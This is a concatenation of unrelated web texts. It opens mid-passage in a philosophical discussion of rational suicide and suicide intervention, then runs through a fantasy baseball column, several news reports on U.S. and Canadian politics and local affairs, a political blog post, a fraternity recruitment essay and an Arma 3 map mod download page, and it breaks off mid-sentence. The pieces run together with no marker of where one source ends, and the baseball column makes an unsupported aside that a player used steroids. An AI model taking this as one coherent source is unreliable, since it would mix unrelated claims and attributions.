goodness of one’s life as it would be if it continued on its present course and the overall goodness of one’s life if that life ended before its present course. This view has given rise to a rich philosophical literature trying to identify the conditions under which a person’s decision to die is rational. For the most part, this literature divides the conditions for rational suicide into cognitive conditions, conditions ensuring that individuals’ appraisals of their situation are rational and well-informed, and interest conditions, conditions ensuring that suicide in fact accords with individuals’ considered interests. Examples of this approach include Glenn Graber, who states that a suicide is rationally justified “if a reasonable appraisal of the situation reveals that one is better off dead.” (Graber 1981, 65). An appraisal is reasonable, according to Graber, if it results from a clearheaded assessment of how suicide would further or impede one’s overall interests, including one’s present and probable future values and preferences. Margaret Battin identifies three cognitive conditions for rational suicide (a facility for causal and inferential reasoning, possession of a realistic world view, and adequacy of information relevant to one’s decision), along with two interest conditions (that dying enables one to avoid future harms, and that dying accords with one’s most fundamental interests and commitments) (Pabst Battin 1996, 115). For the most part, suicidal individuals do not manifest signs of systemic irrationality, much less the signs of legally definable insanity, (Radden 1982) and engage in suicidal conduct voluntarily. However, these facts are consistent with the choice to engage in suicidal behavior being irrational, and serious questions can be raised about just how often the conditions for rational suicide are met in actual cases of self-inflicted death. Indeed, the possibility of rational suicide requires that certain assumptions about suicidal individuals’ rational autonomy be true which may not be in many cases. A person’s choice to undertake suicidal behavior may not be a reflection of her considered interests and her self-inflicted death could be an act that she would, in calmer and clearer moments, recoil at. In other words, even if there is a right to suicide rooted in the value of rational autonomy, it seems to imply a right to suicide only when one makes that determination on minimally rational grounds, and there are numerous factors that may compromise a person’s rational autonomy and hence make the decision to engage in suicidal behavior not a reflection of one’s considered values or aims. Some of these factors cognitively distort agents’ deliberation about whether to engage in suicide. Though many suicidal persons engage in extensive planning for their own deaths, the final determination to end one’s life is often impulsive, reflecting the intense psychological vulnerability of suicidal persons and their proclivity toward volatility and agitation (Cholbi 2002, Joiner 2010, 70–84). Suicidal persons can also have difficulty fully acknowledging the finality of their death, believing that (assuming there is no afterlife) they will somehow continue to be subjects of conscious experience after they die. Particularly worrisome is the evident link between suicidal thoughts and mental illnesses such as depression. While disagreement continues about the strength of this link (Pabst Battin 1996, 5) little doubt exists that the presence of depression or other mood disorders greatly increases the likelihood of suicidal behavior. Some studies of suicide indicate that over 90% of suicidal persons displayed symptoms of depression before death, while others estimate that suicide is at least 20 times more common among those with clinical depression than in the general population. In cases of suicide linked with depression, individuals’ attitudes toward their own death are colored by strongly negative and occasionally distorted beliefs about their life situations (career prospects, relationships, etc.). As Brandt (1975) observed, depression can “primitivize one’s intellectual processes,” leading to poor estimation of probabilities and an irrational focus on present suffering rather than on possible good future states of affairs. The suicidally depressed can also exhibit romanticized and grandiose beliefs about the likely effects of their deaths (delusions of martyrdom, revenge, etc.) Furthermore, suicidal persons are often hesitant about their own actions, hoping that others will intervene and signaling to others the hope that they will intervene (Shneidman 1985). Finally, although repeated suicide attempts by the same individual are common, the impulse to suicidal behavior is often transient and dissipates of its own accord (Blauner 2003). Taken together, these considerations indicate that the scope of suicidal conduct that genuinely manifests fully informed and rational self-evaluation may be rare and so only occasionally will suicide be rational or morally permissible. Moreover, if suicide is frequently not an expression of individuals’ rational appraisal of their own well-being, that suggests that others may have a prima facie reason to interfere with suicidal behavior and so is there is no general right to noninterference. (See section 3.7.) With the exception of the libertarian position that each person has a right against others that they not interfere with her suicidal intentions (Szasz 2002) each of the moral positions on suicide we have addressed so far would appear to justify others intervening in suicidal plans, at least on some occasions. Little justification is necessary for actions that aim to prevent another’s suicide but are non-coercive. Pleading with a suicidal individual, trying to convince her of the value of continued life, recommending counseling, etc. are morally unproblematic, since they do not interfere with the individual’s conduct or plans except by engaging her rational capacities (Cosculluela 1994, 35; Cholbi 2002, 252). The more challenging moral question is whether more coercive measures such as physical restraint, medication, deception, or institutionalization are ever justified to prevent suicide and when. In short, the question of suicide intervention is a question of how to justify paternalistic interference (Kleinig 1983, 96–104). As mentioned in section 3.6, the impulse toward suicide is often sporadic, ambivalent, and influenced by mental illnesses such as depression, all indicators that suicide may be undertaken with less than full rationality. And while individuals usually have the right to make bad or irrational decisions on their own behalf, these indicators, when juxtaposed with the stakes of the decision to end one’s life (that death is irreversible, that continued life is a condition of all other goods, etc.), justify intervention in others’ suicidal plans on the ‘soft’ paternalist grounds that suicide is not in the individual’s interests as they would rationally conceive those interests. We might call this the ‘no regrets’ or ‘err on the side of life’ approach to suicide intervention (Martin 1980; Pabst Battin 1996, 141; Cholbi 2002). Since most situations in which another person intends to kill herself will be ones where we are unsure of whether she is rationally choosing to die, it is better to temporarily prevent “an informed person who is in control of himself from committing suicide” than to do “nothing while, say, a confused person kills himself, especially since, in all likelihood, the would-be suicide could make another attempt if this one were prevented and since the suicidal option is irreversible if successful” (Cosculluela 1994, 40). Further psychiatric or medical examinations may settle the matter regarding the rationality of the suicidal individual’s decision. The coerciveness of the measures used should be proportional to the apparent seriousness of the suicidal person’s intention to die (Cholbi 2011, 122–129). Lastly, if there is sometimes a duty to prevent acts of suicide, is it ever morally permissible, or even morally obligatory, to aid others in ending their lives? (This possibility is directly related to physician-assisted suicide and the larger question of whether the right to suicide is a claim right.) If there are circumstances that justify our intervening to prevent suicide undertaken irrationally or contrary to a person’s self-interest, then the same paternalistic rationale would justify our helping to promote or enable those suicides that are rational and in accordance with a person’s self-interest. Critics of a duty to assist in suicide assert that the widespread moral acceptance of aiding others in suicide invites the prospect of a ‘slippery slope,’ wherein assisted suicide becomes so commonplace that individuals (particularly members of vulnerable populations such as the aged, the disabled, or socially marginalized populations) for whom suicide is not rational could nevertheless be susceptible to various forms of abuse, manipulation, or undue pressure, By giving license for others to assist in suicides, critics allege, we may unwittingly permit them to encourage suicides not because those suicides are in fact in the best interests of the individual in question, but because those suicides advance the interests of other people or of institutions.(Pabst Battin 1996, 145–157). Whether such ‘slippery slope’ worries are warranted is an empirical matter, and existing studies of societies that have legalized assisted suicide by medical personnel do not provide unequivocal support for these worries (Cholbi 2011, 148–157). Sections 3.1-3.8 largely address suicide as a question of interpersonal morality, that is, as a question about our duties to one another (though it should be noted that Kant’s opposition to suicide was rooted in his belief that it violates duties we owe to ourselves rather than duties we owe to others). However, suicide also raises what might be termed ethical questions, such as whether suicide exemplifies virtue. Bogen (1980) observes that even when we have adequately determined that a given act of suicide is morally permissible, questions remain about whether that act represents “the best way to live and to end one’s life.” A full normative account of suicide may thus require us to supplement the language of interpersonal obligation and rights with the language of virtues and vices: Under what conditions does an act of suicide exhibit such virtues as courage, generosity, or justice? Conversely, under what conditions does an act of suicide exhibit such vices as cowardice, selfishness, or rashness? While such questions are germane to whether suicide is defensible all things considered, they are infrequently addressed in the philosophical literature (though see van Zyl 2000; Hardwig 1997 can plausibly be read as claiming that continuing to live is sometimes selfish). Suicide also raises other normative questions that are not obviously moral, such as how suicide may contribute to or detract from the meaningfulness of an individual’s life. For the twentieth century existentialists, suicide was not a choice to be made mainly by appeal to moral considerations but by analyzing whether suicide is an appropriate response to the absurdity or meaninglessness of the world and of human endeavor. Albert Camus illustrated this absurdity in his philosophical essay The Myth of Sisyphus. For Camus, Sisyphus heroically does not try to escape his absurd task of endlessly and futilely pushing a rock up a mountain, but instead perseveres and in so doing resists the lure of suicide. Suicide, Camus contends, tempts us with the promise of an illusory freedom from the absurdity of our existence, but is in the end an abdication of our responsibility to confront or defy that absurdity head on (Campbell and Collinson 1988, 61–70). Jean-Paul Sartre was likewise struck by the possibility of suicide as an assertion of authentic human will in the face of absurdity. Suicide represents, according to Sartre, an opportunity to stake out our understanding of our essence as individuals in a godless world. Questions of whether a life saturated with pain or suffering can be meaningful have also played a part in recent debates about the justification of assisted suicide (Little 1999, Varelius 2013). As the foregoing discussion indicates, suicide has been and continues to be a rich field of philosophical investigation. Recent advances in medical technology are responsible for the extensive philosophical attention paid to one kind of suicide, euthanasia or physician-assisted suicide (PAS), while more “run-of-the-mill” suicide motivated by psychological anguish is somewhat overlooked. This is somewhat unfortunate: Euthanasia and physician-assisted suicide raise issues beyond those associated with other suicides, including the allocation of health care resources, the nature of the medical profession, the patient-physician relationship, and the prospect that allowing relatively benign forms of killing such as voluntary euthanasia of PAS will lead down a “slippery slope” to more morally worrisome killings. However, many of the same issues and concerns that surround PAS and euthanasia also surround run-of-the mill suicide, and many writers who address the former often disregard the vast literature on the latter. (In addition to the entry on voluntary euthanasia, Dworkin et al. 1998, Barry 2007, Pabst Battin 2003, and Cholbi 2011, 139–61, provide overviews of the moral debates surrounding euthanasia and PAS.) Not only is suicide worthy of philosophical investigation in its own right, it is a source of insight for various philosophical subdisciplines: moral psychology, ethical theory, social and political philosophy, the metaphysics of personhood, and action theory. Suicide is also an area where philosophical interests intersect with those of the empirical sciences. The collective efforts of philosophers and others continue to illuminate one of the most enigmatic of human behaviors. -FANTASY BASEBALL 2016 PARRA YOUR WORLD (Gerardo Parra) *FROM MUNTRADAMUS* Josh Hillinger has been part of the BEAST DOME NATION before BEAST DOME was BEAST DOME. He is an avid Fantasy Player and has been learning under my wing since the 2011 Fantasy Sports Season. Many of the VIPs know him as J-Hill or J-Hillionare. He expressed to me he was applying to write for other Fantasy Sites, so instead of letting him go to the jungle with my playbook on his mind, he is now one of the lead writers for BEAST DOME. Enjoy the article. FANTASY BASEBALL 2016 PARRA YOUR WORLD By Josh Hillinger There’s a potential 20/20 candidate. He’s batting fifth for the Colorado Rockies. The players in front of him are on base a third of the time. And he could be yours for a 9th or 10th round pick. TAP THE ROCKIES A rule of thumb: draft Colorado Rockies. If you don’t already know, the Rockies play in Coors Field. Coors Field is at a high altitude – 5280 feet above sea level. Higher altitudes have thinner air, which means there is less friction. Translation: The ball goes farther when it’s hit. from the Colorado Rockies website*: It is estimated that a home run hit 400 feet in sea-level Yankee Stadium would travel about 408 feet in Atlanta and as far as 440 feet in the Mile High City. Throw in an average tailwind and line drives turn into home runs. In 1995, the Montreal Expos (remember them) let Larry Walker walk. He signed Colorado Rockies, took the average amount of steroids for 1995, and went from hitting a homerun every 20 plate appearances to crushing a long bomb every 13th at bat. Todd Helton, a contact hitter first, averaging .316 in 17 years with the Rockies, had 8 seasons with 20 or more home runs, because just making contact with the ball in Coors Field can take it over the fence. Even in his final season Helton took the ball yard 15 times when he batted only .249. Now let’s take a look at the 2016 Rockies Batting Order … Charlie Blackmon OF DJ LeMaieu 2B Carlos González OF Nolan Arenado 3B Gerardo Parra OF The first 4 in that lineup are in the exact same position they were last year, minus a little toggling between 3 and 4 from when Tulo was still in the lineup. By the end of the year, they put up these numbers: Charlie Blackmon OF – BA .287 – OBP .347– SB 43 DJ LeMaieu 2B – BA .301 – OBP .358 – SB 23 Carlos González OF – BA .271 – OBP .325 – SB 2 Nolan Arenado 3B – BA .287 – OBP .323 – SB 2 I did not include runs scored and RBI because with those numbers, you can assume they came in at an average rate. These are four players who GET ON BASE. Batting 4th is Arenado, who hit 42 HRs last season. Batting 5th is Gerardo Parra, the sleeper outfielder in YOUR fantasy baseball lineup. PARRA-M PUM PUM PUM In 36 at bats at Spring Training, Parra is batting .306 with 1 HR, 7 RBI, and 3 stolen bases. Okay, 1 home run every 36 bats. Multiplied by the number of at bats he had last season, Parra would be on pace to hit between 14-15 home runs, the same as he had last season. Hmm, 14 home runs, good speed, ADP of 195 … yeah, this guy has sleeper potential. But wait a minute … Spring Training isn’t at Coors Field … it’s in Arizona. So the HR numbers could go up … he’s already swiping bags … and … what else … I’m forgetting something … oh that’s right… HE’S BATTING FIFTH FOR THE COLORADO ROCKIES! Let’s look at a few scenarios. Senario 1: Arenado blasts one before Parra comes to the plate. Lets say this happens 30-45 times this season. Parra is told to get on base and steal another. Scenario 2: Arenado gets intentionally walked. Parra is told to swing away, a ‘la Joaquin Phoenix in ‘Signs.’ Scenario Math: There’s a 1/3 chance Parra comes to the plate with men on base. Parra has a 1/3 chance of getting a hit. Parra has a chance for a hit and an 1/6 plate appearances. Facts Parra went 14/14 in 155 games last season. He was one of only 19 players to hit that mark. He’s a lifetime .277 hitter and should get plenty of at bats with men on base. He’s going to play. The Rockies are giving him almost $10 mil a year to play. He’s not the best against lefties, but the only other outfielder who could make a stab for some at bats is also not so good against lefties. Conclusion Ok. I’m not going to say BEAST. You’re picking him up for VALUE. I’ve been monitoring him for a while. On Yahoo, he’s ranked 119 but going off the board at 200. Two weeks ago he was going in the 19th round. Last week, the 13th round. This week he’s been going in the 10th. Just FYI. On ESPN, he’s ranked at 249, and going off the board at 213. Start him against righties. Monitor him against lefties. -A Michigan woman who said that four black men kidnapped, raped and beat her for two days will spend a year behind bars for making the incident up, MLive.com reports. Leiha Ann-Sue Artman, 25, pleaded guilty to making a false report of a felony, a crime punishable by up to four years. MLive reports that even though Artman has a considerable rap sheet, the judge did not send her to prison, so she will do her year in the county jail. Artman told investigators that she had been kidnapped March 27, when four black men snatched her from her driveway and threw her in the trunk of their car. She claimed that the foursome drove her to an unknown location, where they repeatedly raped and beat her. The Fruitland Township, Mich., woman kept the farce going by sending her boyfriend text messages that included selfies of herself bound, gagged and bleeding from the head. She begged the boyfriend to pay the “ransom” the kidnappers were asking for. Artman eventually called the boyfriend to say that her abductors had dropped her near her home. He drove her to a hospital, where she told police of the fabricated kidnapping. She later admitted that she had made the entire story up. Advertisement Artman is the not the first white person who accused black men of some heinous harm or crime and turned out to be lying. From Susan Smith and Charles Stuart to the Emmett Till and Scottsboro Boys cases, this country’s history is littered with these notorious and fabricated situations, sometimes leading to death for the falsely accused. In addition to jail, Artman will be placed on probation for two years and will pay a fine of $1,158. Read more at MLive.com. -KANSAS CITY, Mo. (AP) - Two Republicans vying to become their party’s nominee for Missouri attorney general are waging one of the state’s most hotly-contested primary campaigns, slamming each other with attack ads in a race that also includes lawsuits and ethics complaints. The slugfest between state Sen. Kurt Schaefer and political novice Josh Hawley, a University of Missouri law professor on leave to campaign, has become expensive, bankrolled by mega-donors. Hawley’s bid has received more than $2.2 million from southwestern Missouri businessman David Humphreys and his family, while retired St. Louis investor Rex Sinquefield has given more than $750,000 directly to Schaefer’s campaign after he announced plans to run for the office in 2013. Political action committees financially supported by Sinquefield have given Schaefer more than $2 million in cash and in-kind contributions. Voters will decide between the two during the Aug. 2 primary, with the winner advancing to face either former Cass County prosecutor Teresa Hensley or St. Louis County Assessor Jake Zimmerman, both Democrats, in the Nov. 8 general election. Republicans hope to seize the office for the first time in more than two decades. If elected, Hensley would be Missouri’s first female to hold the job, which pays $116,000 per year job. The current attorney general, Democrat Chris Koster, is running to replace Democratic Gov. Jay Nixon, who is barred by term limits from running. The attorney general prosecutes consumer fraud, is a watchdog for nursing homes, handles appeals of felony criminal cases and defends against challenges to state laws, among other duties. The race has featured months of rancor between Hawley, in his first run for public office, and former Missouri assistant attorney general Schaefer. The Missouri Ethics Commission is investigating a nonprofit foundation’s complaint alleging that Schaefer, using his position as the Senate Appropriations Committee’s chairman, pressured University of Missouri system administrators to prevent Hawley from opposing him. Schaefer has denied that. In May, Schaefer supporter and former GOP state lawmaker Kevin Elmer sued in hopes of getting University of Missouri emails by Hawley to examine whether university officials improperly helped Hawley’s campaign and whether Hawley used university computers for campaign business. Hawley’s campaign has called the lawsuit “frivolous” and a distraction from Schaefer’s “serious legal and ethical problems.” More recently, a Schaefer attack ad accused Hawley of working for terrorists, citing Hawley’s work in representing the Iranian group Mujahedeen-e-Khalq in its efforts to get off the U.S. list of terrorist organizations. The group carried out a series of bombings and assassinations against Iran’s clerical regime in the 1980s and fought alongside Saddam Hussein’s forces in the Iran-Iraq war, but renounced violence in 2001 and was removed from the U.S. list in 2012. Former U.S. attorney general Michael Mukasey and John Bolton, a former United Nations ambassador and an assistant U.S. attorney general, have called the ad untrue. In his own ads, Hawley uses old footage of Schaefer describing himself as moderate, something Schaefer now denies. A super PAC ad that separately accuses Schaefer of backing legislation that allowed Chinese ownership of Missouri farmland ends with the announcer asking, “Whose side is he on?” Schaefer calls that ad “ridiculous,” adding that the change in state law to allow pork interest Smithfield Foods to sell its 42,000 Missouri acres to a Hong Kong-based enterprise “wasn’t even my bill, and it passed overwhelmingly.” Schaefer argues that unlike Hawley, he has prosecuted cases, saying his rival “doesn’t really have any relevant experience.” Hawley counters that no prosecutorial background is required because the attorney general serves as an appellate lawyer, and he has appeals experience. To Hawley, Schaefer’s campaign is “scurrilous,” ”in the gutter” and “the sleaziest in Missouri politics.” Zimmerman, the Democrat, said he finds it “awfully disappointing that the folks on the other side argue about who loves terrorists more, who’s more American and whatever other nonsense.” “What this office is not about is a platform for partisan mudslinging and ideological warfare,” said Zimmerman, a former state lawmaker and assistant attorney general who, if elected, expects to weed out corruption and strongly advocate for senior citizens and other vulnerable Missouri residents. Hensley, Cass County’s prosecutor from 2005 until losing her re-election bid in November 2014, ran unsuccessfully for state representative in 2002 and a congressional seat in 2012. Likening the GOP sparring to “3-year-old tantrums,” she said the only elected prosecutor running for attorney general, having obtained convictions in all of her 21 murder cases and prosecuted hundreds of cases involving child abuse and sexual assault. As attorney general, she said she would press for special courts statewide with alternative sentencing programs “so we’re not filling the jails with folks who have mental health and drug issues.” Copyright © 2019 The Washington Times, LLC. -Republican presidential candidate Donald Trump has pulled ahead of his Democratic rival Hillary Clinton by a statistically significant five percentage point margin in the popular vote, according to a nationwide poll by Rasmussen Reports released on Thursday. WASHINGTON (Sputnik) — In recent months, dozens of nationwide polls have shown a double-digit lead by Clinton gradually shrinking, with Trump having eliminated rival candidates for the Republican nomination. ​"Trump earns 42 percent support to Clinton’s 37 percent when likely US voters are asked whom they would vote for if the presidential election were held today," Rasmussen said in a press release accompanying the telephone survey results. © REUTERS / Carlos Barria Trump's Longtime Butler Asks For Obama to be Killed At the same time, a raucous battle between Clinton and Democratic rival, US Senator Bernie Sanders, continues to distract attempts by Democrats to focus the attention of voters on efforts to defeat Trump, political analysts say. At the beginning of May, Rasmussen reported that Trump led Clinton by 41 percent to 39 percent, within that poll’s margin of error and therefor considered statistically insignificant. -The future of a downtown elementary school that was built over hundreds — possibly thousands — of buried bodies was on the agenda at a special meeting of the Toronto Catholic District School Board (TCDSB) Wednesday evening. The meeting was called so parents could air their views about a plan to amalgamate schools in several parts of the city, because of changing enrolment numbers. A plaque on the side of St. Paul Catholic School on Sackville Street commemorates the Irish immigrants who died and were later buried on the school site. (CBC News) One of those areas is the Corktown - Regent Park neighbourhood, where St. Michael Catholic School is so desperately overcrowded that some children are taught in renovated squash courts leased from a neighbouring community centre. Just blocks away is St. Paul Catholic School, designed to hold 447 students, but currently less than half full. However, board staff are against moving students from the overcrowded facility into St. Paul because, among other reasons, the school would have to be renovated. The cemetery that was adjacent to St. Paul's Basilica, on Queen Street East, was the destination for thousands of disease victims in the 1800s. (CBC News) And before that work could take place, the board would have to overcome, in the words of the board's associate director of planning and facilities Angelo Sangiorgio, "a complication." St. Paul school was built over the old burial ground, decommissioned in 1857, that served adjacent St. Paul's Basilica. That cemetery is the final resting place for thousands of Catholics, mostly Irish immigrants, who died during cholera and typhus outbreaks in the mid-1850s, according to Ron Williamson, chief archeologist at ASI Heritage, an archeological consulting firm based in Toronto. Archeologist Ron Williamson says Irish immigrants who died of disease were often taken by cart from the so-called "fever sheds" for burial at what is now the site of St. Paul Catholic School. (CBC News) And provincial regulations say to excavate a burial site, the owner has to first try to contact descendants of those buried there. "Ideally, that's not a complication we want to deal with," Sangiorgio said. Even if board staff did decide to satisfy the province's rules regarding building on burial sites, the St. Paul property would probably be too small to accept the students from St. Michael, said John Yan, the board's head of communications, who's also a graduate of St. Paul. Although there's enough classroom space at St. Paul to accommodate students from both schools, Yan said the size of the land the school sits on is too small to satisfy the latest rules from the Ministry of Education. Those guidelines dictate that a school of 400-plus students should sit on about 1.6 hectares of land — three times the size of St. Paul's lot. Instead, staff are recommending that the board agree to build a new school, on the site of the old Duke of York public school in nearby Regent Park. John Yan, head of communications for the Toronto Catholic District School Board, attended St. Paul Catholic School as a boy. (CBC News) The TCDSB bought that site and demolished the school some time ago. It still needs provincial approval before a new school can be built there, according to board documents. "The realization that the [St. Paul} site is on sacred property is unique and that's one of the reasons why, as students here, we always believed it was a special place to begin with," Yan said. TCDSB trustees will take into consideration Wednesday night's input from parents before making a final decision on the future of the two schools at its meeting on Feb. 23, Yan said. -So I wonder which one of those McCrory staffers got the job to remodel his bathrooms? At $230,000, it must have been somebody on the Republican pay scale. It certainly wasn’t any of the rest of us because we wouldn’t just be fixing the toilet. We’d be buying a whole new house. Really, though, I shouldn’t be criticizing the governor. I should be submitting a bid. I’m only qualified to do three things: raise kids, provide political advice and fix houses. Lord knows, I’ve done enough of each. You can gut and replace a bathroom in an average house for around $25,000 using relatively high-grade materials. I get that the Mansion is a fine old lady and she deserves fine fixtures and materials but it’s hard to see how you spend $50,000 for a master bathroom that belongs to a bunch of people who aren’t even going to get a chance to use it. And it’s not like all the bathrooms are master baths. But really, the inflated cost is a minor point, though it fits right in with the narrative about overpaid, under-qualified political cronies populating the McCrory administration. The problem, as usual, is the optics. This administration has poor mouthed since they arrived in Raleigh. They don’t have enough money for teacher raises They don’t have enough for universities and community colleges. They tried not to have enough money for pregnant women, infants and small children but Art Pope was smart enough to head that one off before it caught fire. And yet they have enough money to improve the governor’s creature comforts to the tune of $230,000 in bathroom renovations. They have enough to pay the former State Auditor $312,000 as a consultant to the Department of Health and Human Services (that’s 2.5 times his salary as State Auditor, by the way). And they have enough to pay a 24 year old English major $87,000 to serve as the chief policy advisor on policy issues he quite clearly knows nothing about. I’ve got an idea, Governor. I’ll stop giving you shit about your renovations if you hire me to help you with your optics. I’ll even give you my services on the Democratic pay scale, also known as market rate. You just tell me what you are planning to do, and then I’ll tell you whether or not it looks stupid to the rest of the state. I’ll bet I can save you a whole bunch of headaches. Thomas Mills is the founder and publisher of PoliticsNC.com. Before beginning PoliticsNC, Thomas spent twenty years as a political and public affairs consultant. Learn more > -The defense industry this year abandoned its decade-long commitment to the Republican Party, funneling the lion share of its contributions to Democratic presidential candidates, especially to Hillary Clinton who far out-paced all her competitors. An examination of contributions of $500 or more, using the Huffington Post's Fundrace website, shows that employees of the top five arms makers - Lockheed Martin, Boeing, Northrop-Grumman, Raytheon and General Dynamics -- gave Democratic presidential candidates $103,900, with only $86,800 going to Republicans. Senator Clinton took in $52,600, more than half of the total going to all Democrats, and a figure equaling 60 percent of the sum going to the entire GOP field. Her closest competitor for defense industry money is former Massachusetts Governor Mitt Romney (R.), who raised $32,000. Insofar as defense workers making political donations reflect the interests of their employers, the contributions clearly suggest that the arms industry has reach the conclusion that Democratic prospects for 2008 are very good indeed. Since their profits are so heavily dependent on government contracts, companies in this field want to be sure they do not have hostile relations with the White House. The strong support for Clinton indicates that a majority of defense industry executives currently believe Clinton is a favorite to win the Democratic nomination and, in November, 2008, the general election. In the 2004 presidential race, defense company workers, almost all of them upper-level employees, gave George W. Bush $819,358, more than twice the $366,870 received by John Kerry. Similarly, in House and Senate races over the past 10 years, the defense industry has favored Republicans over Democrats by a 3-2 margin. Republicans holding public office almost always provide much stronger support for weapons programs and other Pentagon spending than do Democrats. In an unexpected development, Senator John McCain (R-Ariz.), the ranking Republican on the Armed Services Committee and a decorated Vietnam War veteran, raised just $19,200, barely more than the $18,500 collected by Texas Representative Ron Paul (R.). No other Democrat came near Clinton's totals. Running second to her in the competition for Pentagon contractors' cash was Senator Chris Dodd (D-Conn), who raised $13,200, almost all from executives of General Dynamics which has a major submarine building facility in Groton, Conn. Former Senator John Edwards (D-N. Car.) raised $12,200 and Illinois Senator Barack Obama (D) took in $10,000. Clinton's major industry benefactors - donors who gave the $4,600 maximum allowed by law -- include Roger A. Crone, Boeing's president of Network and Space Systems; Stanley Roth, Boeing's Vice President for Asia, International Relations, $4,600; Anne Sullivan, a Raytheon attorney; William Lynn, Raytheon's Senior Vice President for Government Relations; and Michele Kang, Northrop Grumman Vice President for health science solutions. -I don’t want you to join a fraternity or sorority. If you’re reading this and you’re not already affiliated with a fraternity or sorority, please know that you’ve probably made the right decision. While I’d be lying if I didn’t admit that the fraternity experience has done wonders for me, I want you to know what you’d be getting yourself into. The years of bickering and arguing about the importance of “traditions.” The mandatory events and meetings conveniently scheduled to overtake half of your week. The expenses that somehow seem to rise exponentially each semester. Seriously, if these things sound daunting to you then you shouldn’t join a fraternity or sorority. Sure, you could make lifelong friends. But is it worth the effort? You’d have to actually take out your earbuds, stop snapchatting your high school friends, and put your phone away to engage in a good conversation with a fraternity man or sorority woman. That is probably too hard for you. It is so much easier to blend into the crowd, have one or two buddies you’ll meet in your residence hall, and throw back some Natty Light with them until graduation. There’s really no need to step outside of your comfort zone, meet new and diverse people, and bond over shared values and beliefs. You’d be much better off staying out of the Greek system, sticking with your old friends and old habits. If you were to join, you’d have even more opportunities to excel scholastically. But do you want to try that hard? Who needs the support of other students who have experienced the same classes, professors, and programs? I have been out of school a while, but I bet that ratemyprofessor.com still has the same benefit for way less money. If you fall behind in a class or have a rough semester, you’d be able to get along just fine without a fraternity or sorority to provide support. One meeting with an academic advisor and a quick skim of a BuzzFeed article on study skills will have you on your way to a 4.0 before you know it! Honestly, I know too many members of fraternities and sororities who have failed out of school because they decided to major in drinking, drugs, and one-night-stands instead of keeping focus in their major. It would be too much work for you to balance your social schedule and your academics. Who came to college for a challenge? Of course the skills you’ll gain as a leader could be useful someday. But wouldn’t you rather find other ways to beef up your résumé? There’s plenty of other ways to build leadership experience. Why pick a one-stop shop for leadership opportunities with access to amazing nationally-recognized programs when you can pick up a few books or maybe join a student organization or two? Never mind that most fraternity and sorority members are encouraged (or required) to join another student organization. You don’t need anyone telling you what to do. College isn’t about rules or accountability, and there will be plenty of time to develop leadership skills later. A benefit of being part of a fraternity or sorority is definitely being able to give back to important causes. But don’t you have your own expenses to take care of? College is expensive. Your bills could include rent, groceries, cell phone, utilities, beer, car insurance, gas, clothes, and spring break. Would you even want to try to give ten extra bucks to help find a cure for cancer? And who wants to give up precious weekend hours for community service? Someone else can build that Habitat home. Obviously you don’t need to even be in a fraternity or sorority to perform service or philanthropy. Plenty of college students do it. But I’m sure you’ve got other things on your plate. If I’m being blunt, here’s why I really don’t want you to join a fraternity or sorority: I’ve worked too hard to let someone like you be part of the problem. We’ve got enough members who decide to quit two years after they’ve taken their “lifelong” oath, or who join for the toga parties and “funny” hazing. I don’t want you to join if you’re not willing to be part of the solution. What solution am I talking about? I’m not talking about values congruence, which is a term we’ve coined to describe an expectation that today’s college students sit around and discuss ways to make values statements from the 1800s applicable today. Instead, I’m talking about just being a decent and responsible adult and student. That means wanting to build new friendships and striving to be the brightest student in the classroom. It also means wanting to challenge yourself to be a better leader on campus and in your community. This is a lifestyle your fraternity or sorority expects you to adopt for more than just the four or five years you’re in college. We want you to be a change agent. We want you to redefine the way the world views North American college fraternities and sororities. Can’t commit? Then I wish you luck. I don’t want you to join a fraternity. Advertisements -Highway Map by Ir0n byIr0n Description: Features: Installation: Steam\Steamapps\Common\ArmA 3\@your_mod_folder_name\addons\ -mod=@mod_name;@mod_name2;@mod_name3;@mod_name4;@mod_name5 Note: Included files: Media: https://www.youtube.com/user/DasIron/videos Armaholic.com has its own Youtube channel where we will cover the Community made releases. Subscribe to the Armaholic.com Youtube channel Armaholic.com has its own Youtube channel where we will cover the Community made releases. Known issues: Future plans: Notes: Credits & Thanks: License / Disclaimer: Changelog: Forum topic: You are using our website as a guest. Guest have the lowest downloadspeeds and will download from our public file servers. If you would like to know how you can download with higher speeds and have to wait less while downloading check out the Armaholic subscription system. When you have already subscribed and your account is not upgraded within 24 hours it means you probably forgot to include your username. If that is the case please contact us as soon as possible! What is two plus two? Type : Size : 238 MB Downloaded : 1181 times Report archive: Troubles downloading from Armaholic? Enable javascript to be able to download from Armaholic please! Highway is a 400km² map which is placed in north Sweden. It´s a fictional map on the idea of the Wargame map "Highway to Hell". But only the name is the same. I´m aiming to replace all those Arma 2 objects, so A3MP/AiA will no longer be a requirement. But this is a long way, but I hope you have fun with the map at the current stage :) ir0nIt´s not a map of Bohemia Interactive, IceBreakr, M1lkm8n, SmokeDog3 or one of these other awesome mapmaker. But I hope you like it.- 20x20km Map = 400km²- Cellsize of 10 (Guide On Installing Mods highway.pbombg_buildings_3.pboMore images can be found here: http://www.ir0n.de/hwpics.html This is a WIP never forget that!- There a at the moment only 10 "citys"Please report bugs here:v0.1: create Terrian & Satmap/Masklayerv0.2: Forest, Citys, Villagesv0.3: Private Testing and more Detailsv0.4: Powernet & better streetsv0.5: Public Release (BETA)v0.6-v0.9: Community wishes and more detailsv1.0: Finish the mapv1.1-v1.5: start to replace the Arma 2 objectsv1.6: replace the MBG BuildingsI dont recommend playing the map at the moment, but you can play missions in some parts of the map! If you hate using WIP work just dont use it!Highway is Alpha at the moment and it will take quiet a time, when it will be finished.Bak0, Barandur, MiLC0RE, Greenman and mondkalb.Also big thank to: Bohemia Interactive, PlaywithSix, Foxhound (Armaholic) and all those great people on the BI & Armaholic Forums.I take no responsibility for (im)possible damage to your game/system that may be causedby installation of this Addon. This Addon is also prohibited to be used in any commercial product.This addon is not related with BIS or BISim in any way!v0.3 alpha- first public releasev0.2.11 alpha- internal release MBG Buildings 3 - European Theatre (included) -Canadian taxpayers spent $172,500 for consultations on a controversial war memorial ordered by the Harper government and cancelled by the Trudeau government — consultations that will never be made public. According to an Access to Information document, Parks Canada spent the money on a Detailed Impact Analysis (DIA) on the “Mother Canada” statue that was planned for the Cape Breton highlands. Parks Canada said it spent the money between fall 2013 and summer 2015. The ATI request was sent to Heritage Canada, which worked closely with Parks Canada and Veterans Affairs on the design and construction of the memorial. The controversial war memorial was initiated by Toronto businessman Tony Trigiani, president of Norstar Corporation. Trigiani headed the Never Forgotten National Memorial Foundation, the group proposing the construction of the monument. In February, Daniel Watson, CEO of Parks Canada, said a review of the project had concluded that too many key elements “remain outstanding for the project to be achieved by the planned date of July 1, 2017.” Those elements included the Foundation lacking sufficient funding, 